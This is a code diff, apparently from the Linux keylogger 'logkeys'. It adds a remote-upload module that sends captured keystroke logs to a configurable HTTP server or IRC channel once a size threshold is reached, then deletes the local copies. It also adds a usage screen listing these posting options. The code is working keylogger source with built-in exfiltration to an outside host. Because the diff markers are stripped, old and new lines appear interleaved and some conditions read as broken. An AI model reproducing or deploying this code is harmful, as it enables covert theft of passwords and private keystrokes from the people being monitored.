if (inc_size > 0) file_size += inc_size;
|
||||
continue;
|
||||
}
|
||||
|
||||
// if remote posting is enabled and size treshold is reached
|
||||
if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) {
|
||||
fclose(stdout);
|
||||
|
||||
std::stringstream ss;
|
||||
for (int i = 1;; ++i) {
|
||||
ss.clear();
|
||||
ss.str("");
|
||||
ss << args.logfile << "." << i;
|
||||
if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist
|
||||
}
|
||||
|
||||
if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed
|
||||
error(EXIT_FAILURE, errno, "Error renaming logfile");
|
||||
|
||||
stdout = fopen(args.logfile, "a"); // open empty log file with the same name
|
||||
if (stdout == NULL)
|
||||
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
|
||||
|
||||
file_size = 0; // new log file is now empty
|
||||
// TODO: write new timestamp
|
||||
|
||||
switch (fork())
|
||||
{
|
||||
case -1: error(0, errno, "Error while forking remote-posting process");
|
||||
case 0:
|
||||
start_remote_upload(); // child process will upload the .log.i files
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
// on key repeat ; must check before on key press
|
||||
if (event.value == EV_REPEAT) {
|
||||
++count_repeats;
|
||||
} else if (count_repeats) {
|
||||
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL ||
|
||||
prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT ||
|
||||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys
|
||||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing
|
||||
else {
|
||||
if (args.nofunc && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
|
||||
else {
|
||||
sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition
|
||||
fprintf(stdout, "%s", repeat);
|
||||
}
|
||||
if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
|
||||
else inc_size += fprintf(stdout, "<#+%d>", count_repeats);
|
||||
}
|
||||
count_repeats = 0; // reset count for future use
|
||||
}
|
||||
|
@ -541,9 +533,14 @@ int main(int argc, char **argv)
|
|||
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
|
||||
(ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
|
||||
if (ctrl_in_effect)
|
||||
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
|
||||
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
|
||||
fprintf (stdout, "%s", timestamp); // then newline and timestamp
|
||||
inc_size += fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
|
||||
if (args.flags & FLAG_NO_TIMESTAMPS)
|
||||
inc_size += fprintf(stdout, "\n");
|
||||
else {
|
||||
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
|
||||
inc_size += fprintf(stdout, "%s", timestamp); // then newline and timestamp
|
||||
}
|
||||
if (inc_size > 0) file_size += inc_size;
|
||||
continue; // but don't log "<Enter>"
|
||||
}
|
||||
|
||||
|
@ -559,35 +556,32 @@ int main(int argc, char **argv)
|
|||
wchar_t wch;
|
||||
if (altgr_in_effect) {
|
||||
wch = altgr_keys[to_char_keys_index(scan_code)];
|
||||
if (wch != L'\0') fprintf(stdout, "%lc", wch);
|
||||
else if (shift_in_effect) {
|
||||
wch = shift_keys[to_char_keys_index(scan_code)];
|
||||
if (wch != L'\0') fprintf(stdout, "%lc", wch);
|
||||
}
|
||||
else {
|
||||
wch = char_keys[to_char_keys_index(scan_code)];
|
||||
if (wch != L'\0') fprintf(stdout, "%lc", wch);
|
||||
if (wch == L'\0') {
|
||||
if(shift_in_effect)
|
||||
wch = shift_keys[to_char_keys_index(scan_code)];
|
||||
else
|
||||
wch = char_keys[to_char_keys_index(scan_code)];
|
||||
}
|
||||
}
|
||||
else if (shift_in_effect) {
|
||||
wch = shift_keys[to_char_keys_index(scan_code)];
|
||||
if (wch != L'\0') fprintf(stdout, "%lc", wch);
|
||||
if (wch == L'\0')
|
||||
wch = char_keys[to_char_keys_index(scan_code)];
|
||||
}
|
||||
else {
|
||||
else // neither altgr nor shift are effective, this is a normal char
|
||||
wch = char_keys[to_char_keys_index(scan_code)];
|
||||
if (wch != L'\0') fprintf(stdout, "%lc", wch);
|
||||
}
|
||||
}
|
||||
|
||||
if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch); // write character to log file
|
||||
}
|
||||
else if (is_func_key(scan_code)) {
|
||||
if (!args.nofunc) { // only log function keys if --no-func-keys not requested
|
||||
fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
|
||||
if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
|
||||
inc_size += fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
|
||||
}
|
||||
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
|
||||
// but always log a single space for Space and Tab keys
|
||||
fprintf(stdout, " ");
|
||||
inc_size += fprintf(stdout, " "); // but always log a single space for Space and Tab keys
|
||||
}
|
||||
}
|
||||
else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
|
||||
else inc_size += fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
|
||||
} // if (EV_MAKE)
|
||||
|
||||
// on key release
|
||||
|
@ -602,6 +596,8 @@ int main(int argc, char **argv)
|
|||
|
||||
prev_code = scan_code;
|
||||
fflush(stdout);
|
||||
if (inc_size > 0) file_size += inc_size;
|
||||
|
||||
} // while (read(input_fd))
|
||||
|
||||
// append final timestamp, close files and exit
|
||||
|
@ -618,7 +614,8 @@ int main(int argc, char **argv)
|
|||
|
||||
} // namespace logkeys
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
logkeys::main(argc, argv);
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
return logkeys::main(argc, argv);
|
||||
}
|
||||
|
||||
|
|
|
@ -0,0 +1,264 @@
|
|||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#ifndef _UPLOAD_H_
|
||||
#define _UPLOAD_H_
|
||||
|
||||
#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process
|
||||
|
||||
namespace logkeys {
|
||||
|
||||
int sendall(int sockfd, const char *buf, size_t len)
|
||||
{
|
||||
size_t total = 0;
|
||||
int n = 0; // how many bytes we've sent
|
||||
size_t bytesleft = len; // how many we have left to send
|
||||
|
||||
while(total < len) {
|
||||
if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
|
||||
break;
|
||||
total += n;
|
||||
bytesleft -= n;
|
||||
}
|
||||
|
||||
return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
|
||||
}
|
||||
|
||||
int open_connection(const char *server, const char *port)
|
||||
{
|
||||
struct addrinfo *servinfo, *p; // servinfo will point to IP results
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts
|
||||
hints.ai_socktype = SOCK_STREAM; // we will use TCP stream
|
||||
|
||||
int status, sockfd;
|
||||
if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
|
||||
error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
|
||||
|
||||
// loop through the servinfo list and connect to the first connectable address
|
||||
for (p = servinfo; p != NULL; p = p->ai_next) {
|
||||
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
|
||||
continue;
|
||||
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
|
||||
close(sockfd);
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (p == NULL) sockfd = -1; // if connecting failed, return -1
|
||||
|
||||
freeaddrinfo(servinfo); // free the servinfo linked-list
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
char * read_socket(int sockfd)
|
||||
{
|
||||
#define STR_SIZE 1000000
|
||||
static char str[STR_SIZE] = {0};
|
||||
if (recv(sockfd, str, STR_SIZE, 0) == -1)
|
||||
return NULL;
|
||||
return str;
|
||||
}
|
||||
|
||||
int sockfd;
|
||||
bool isKilled = false;
|
||||
|
||||
void uploader_signal_handler(int signal)
|
||||
{
|
||||
isKilled = true;
|
||||
close(sockfd);
|
||||
}
|
||||
|
||||
void start_remote_upload()
|
||||
{
|
||||
int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
|
||||
if (pid_fd == -1) {
|
||||
error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
|
||||
}
|
||||
|
||||
// catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
|
||||
struct sigaction act = {{0}};
|
||||
act.sa_handler = uploader_signal_handler;
|
||||
sigaction(SIGHUP, &act, NULL);
|
||||
sigaction(SIGINT, &act, NULL);
|
||||
sigaction(SIGTERM, &act, NULL);
|
||||
|
||||
#define MAX_FILES 1000
|
||||
char successful[MAX_FILES] = {0}; // array holding results
|
||||
|
||||
int last_index; // determine how many logfiles.X are there
|
||||
for (last_index = 1; last_index < MAX_FILES; ++last_index) {
|
||||
std::stringstream filename;
|
||||
filename << args.logfile << '.' << last_index;
|
||||
std::ifstream ifs(filename.str().c_str());
|
||||
|
||||
if (!ifs) break;
|
||||
ifs.close();
|
||||
}
|
||||
--last_index; // logfile.last_index is the last one
|
||||
|
||||
// POST to remote HTTP server
|
||||
if (args.http_url) {
|
||||
|
||||
std::string url = std::string(args.http_url);
|
||||
std::string port = "80";
|
||||
std::string host = url.substr(url.find("://") + 3);
|
||||
std::string location = host.substr(host.find("/"));
|
||||
host = host.substr(0, host.find("/"));
|
||||
|
||||
if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc")
|
||||
port = host.substr(host.find(":") + 1);
|
||||
host = host.substr(0, host.find(":"));
|
||||
}
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
for (int i = 1; i <= last_index && !isKilled; ++i) {
|
||||
|
||||
std::stringstream filename;
|
||||
filename << args.logfile << '.' << i;
|
||||
std::ifstream ifs(filename.str().c_str());
|
||||
|
||||
if (!ifs) break;
|
||||
|
||||
sockfd = open_connection(host.c_str(), port.c_str());
|
||||
|
||||
if (sockfd == -1) break;
|
||||
|
||||
std::string line, file_contents;
|
||||
while(getline(ifs, line)) file_contents += line + "\n";
|
||||
ifs.close();
|
||||
|
||||
std::stringstream boundary, postdata, obuf;
|
||||
boundary << "---------------------------" << time(NULL) << rand() << rand();
|
||||
|
||||
postdata << "--" << boundary.str() << "\r\n" <<
|
||||
"Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
|
||||
|
||||
obuf <<
|
||||
"POST " << location << " HTTP/1.1\r\n"
|
||||
"Host: " << host << "\r\n"
|
||||
"User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n"
|
||||
"Accept: */*\r\n"
|
||||
"Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
|
||||
"Content-Length: " << postdata.str().size() << "\r\n"
|
||||
"\r\n" << postdata.str();
|
||||
|
||||
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
|
||||
close(sockfd);
|
||||
error(0, errno, "Error sending output");
|
||||
break;
|
||||
}
|
||||
sleep(1);
|
||||
|
||||
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
|
||||
++successful[i - 1];
|
||||
|
||||
if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str());
|
||||
|
||||
close(sockfd);
|
||||
}
|
||||
}
|
||||
|
||||
// post to remote IRC server
|
||||
if (args.irc_server && !isKilled) {
|
||||
|
||||
sockfd = open_connection(args.irc_server, args.irc_port);
|
||||
if (sockfd == -1) {
|
||||
remove(UPLOADER_PID_FILE);
|
||||
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
|
||||
}
|
||||
|
||||
fprintf(stderr, "posting IRC...\n"); // debug
|
||||
|
||||
srand(time(NULL));
|
||||
int random = rand() % 999999; // random 6 digits will be part of IRC nickname
|
||||
std::stringstream obuf;
|
||||
obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n"
|
||||
"NICK lk" << random << "\r\n";
|
||||
if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it
|
||||
obuf << "JOIN " << args.irc_entity << "\r\n";
|
||||
|
||||
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
|
||||
remove(UPLOADER_PID_FILE);
|
||||
error(EXIT_FAILURE, errno, "Error sending output");
|
||||
}
|
||||
obuf.clear();
|
||||
obuf.str("");
|
||||
|
||||
for (int i = 1; i <= last_index && !isKilled; ++i) {
|
||||
std::stringstream filename;
|
||||
filename << args.logfile << '.' << i;
|
||||
std::ifstream ifs(filename.str().c_str());
|
||||
|
||||
if (!ifs) break;
|
||||
|
||||
std::string line;
|
||||
while (std::getline(ifs, line)) {
|
||||
#define IRC_MAX_LINE_SIZE 400
|
||||
while (line.size() > IRC_MAX_LINE_SIZE) {
|
||||
obuf << "PRIVMSG " << args.irc_entity << " :"
|
||||
<< line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
|
||||
|
||||
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
|
||||
remove(UPLOADER_PID_FILE);
|
||||
error(EXIT_FAILURE, errno, "Error sending output");
|
||||
}
|
||||
obuf.clear();
|
||||
obuf.str("");
|
||||
sleep(1);
|
||||
line = line.substr(IRC_MAX_LINE_SIZE);
|
||||
}
|
||||
obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
|
||||
|
||||
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
|
||||
remove(UPLOADER_PID_FILE);
|
||||
error(EXIT_FAILURE, errno, "Error sending output");
|
||||
}
|
||||
obuf.clear();
|
||||
obuf.str("");
|
||||
}
|
||||
|
||||
ifs.close();
|
||||
sleep(1);
|
||||
|
||||
++successful[i - 1];
|
||||
}
|
||||
close(sockfd);
|
||||
}
|
||||
|
||||
char successful_treshold = 0; // determine how many post methods were supposed to be used
|
||||
if (args.http_url) ++successful_treshold;
|
||||
if (args.irc_server) ++successful_treshold;
|
||||
|
||||
// remove all successfully uploaded files...
|
||||
for (int i = 1, j = 1; i <= last_index; ++i) {
|
||||
std::stringstream filename;
|
||||
filename << args.logfile << '.' << i;
|
||||
|
||||
if (successful[i - 1] == successful_treshold) {
|
||||
remove(filename.str().c_str());
|
||||
}
|
||||
else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
|
||||
std::stringstream target_name;
|
||||
target_name << args.logfile << '.' << j;
|
||||
rename(filename.str().c_str(), target_name.str().c_str());
|
||||
++j;
|
||||
}
|
||||
}
|
||||
|
||||
close(pid_fd);
|
||||
remove(UPLOADER_PID_FILE);
|
||||
}
|
||||
|
||||
} // namespace logkeys
|
||||
|
||||
#endif // _UPLOAD_H_
|
|
@ -0,0 +1,45 @@
|
|||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#ifndef _USAGE_H_
|
||||
#define _USAGE_H_
|
||||
|
||||
namespace logkeys {
|
||||
|
||||
void usage()
|
||||
{
|
||||
fprintf(stderr,
|
||||
"Usage: logkeys [OPTION]...\n"
|
||||
"Log depressed keyboard keys.\n"
|
||||
"\n"
|
||||
" -s, --start start logging keypresses\n"
|
||||
" -m, --keymap=FILE use keymap FILE\n"
|
||||
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
|
||||
" -u, --us-keymap use en_US keymap instead of configured default\n"
|
||||
" -k, --kill kill running logkeys process\n"
|
||||
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
|
||||
" -?, --help print this help screen\n"
|
||||
" --export-keymap=FILE export configured keymap to FILE and exit\n"
|
||||
" --no-func-keys log only character keys\n"
|
||||
" --no-timestamps don't prepend timestamps to log file lines\n"
|
||||
" --post-http=URL POST log to URL as multipart/form-data file\n"
|
||||
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
|
||||
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
|
||||
"\n"
|
||||
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
|
||||
" logkeys -s -d event6\n"
|
||||
" logkeys -k\n"
|
||||
"\n"
|
||||
"logkeys version: " PACKAGE_VERSION "\n"
|
||||
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
|
||||
);
|
||||
}
|
||||
|
||||
} // namespace logkeys
|
||||
|
||||
#endif // _USAGE_H_
|
Loading…
Reference in New Issue